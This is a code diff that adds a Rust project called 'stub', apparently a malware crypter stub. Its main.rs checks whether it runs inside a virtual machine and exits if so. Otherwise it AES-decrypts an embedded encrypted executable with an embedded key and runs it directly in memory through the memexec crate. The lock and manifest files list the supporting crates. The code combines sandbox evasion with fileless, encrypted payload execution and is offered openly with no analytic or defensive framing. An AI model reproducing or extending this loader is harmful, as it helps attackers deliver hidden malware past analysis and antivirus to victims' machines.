Added projects

contains "crypt" and "stub"

stub/Cargo.lock

@@ -0,0 +1,107 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 3
+
+[[package]]
+name = "aes"
+version = "0.8.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241"
+dependencies = [
+ "cfg-if",
+ "cipher",
+ "cpufeatures",
+]
+
+[[package]]
+name = "cfg-if"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+
+[[package]]
+name = "cipher"
+version = "0.4.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
+dependencies = [
+ "crypto-common",
+ "inout",
+]
+
+[[package]]
+name = "cpufeatures"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "crypto-common"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
+dependencies = [
+ "generic-array",
+ "typenum",
+]
+
+[[package]]
+name = "generic-array"
+version = "0.14.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+dependencies = [
+ "typenum",
+ "version_check",
+]
+
+[[package]]
+name = "inout"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "inside-vm"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3518e289386082220db48c380f414722e25263af4160f8577c247dae0c6f3829"
+
+[[package]]
+name = "libc"
+version = "0.2.144"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b00cc1c228a6782d0f076e7b232802e0c5689d41bb5df366f2a6b6621cfdfe1"
+
+[[package]]
+name = "memexec"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bc62ccb14881da5d1862cda3a9648fb4a4897b2aff0b2557b89da44a5e550b7c"
+
+[[package]]
+name = "stub"
+version = "0.1.0"
+dependencies = [
+ "aes",
+ "inside-vm",
+ "memexec",
+]
+
+[[package]]
+name = "typenum"
+version = "1.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
+
+[[package]]
+name = "version_check"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"

stub/Cargo.toml

@@ -0,0 +1,11 @@
+[package]
+name = "stub"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+inside-vm = "0.2.0"
+aes = "0.8.2"
+memexec = "0.2"

stub/src/main.rs

@@ -0,0 +1,52 @@
+use aes::Aes128;
+use aes::cipher::{BlockDecrypt, KeyInit,
+    generic_array::GenericArray,
+};
+use inside_vm::inside_vm;
+use std::io::{Read, Cursor};
+use std::io::Result;
+
+
+fn main(){
+    if inside_vm(){
+        println!("This is in a vm");
+        std::process::exit(0);
+    } else {
+        println!("NO VM");
+        let pe_bytes = decrypt_file().unwrap();
+        fileless(pe_bytes);
+    }
+}
+
+fn decrypt_file() -> Result<Vec<u8>> {
+    // Read encrypted bytes and store bytes of key :3
+    let encrypted_bytes = include_bytes!("encrypted_Input.bin");
+    let mut key_bytes: [u8; 16] = [0; 16];
+    let mut key_file = Cursor::new(include_bytes!("key.txt"));
+    key_file.read_exact(&mut key_bytes)?;
+
+    // Gen cipher with the key B-)
+    let key = GenericArray::from(key_bytes);
+    let cipher = Aes128::new(&key);
+
+    // Decrypt the encrypted bytes in blocks 
+    let mut decrypted_bytes = Vec::new();
+    for block in encrypted_bytes.chunks(16) {
+        let mut block_array = GenericArray::clone_from_slice(block);
+        cipher.decrypt_block(&mut block_array);
+        decrypted_bytes.extend_from_slice(&block_array);
+    }
+
+    // Unpad the decrypted bytes
+    let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
+    let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();
+    
+    // return decrypted bytes
+    Ok(decrypted_bytes, )
+}
+
+fn fileless(bytes: Vec<u8>){
+    unsafe {
+        memexec::memexec_exe(&bytes).unwrap();
+    }
+}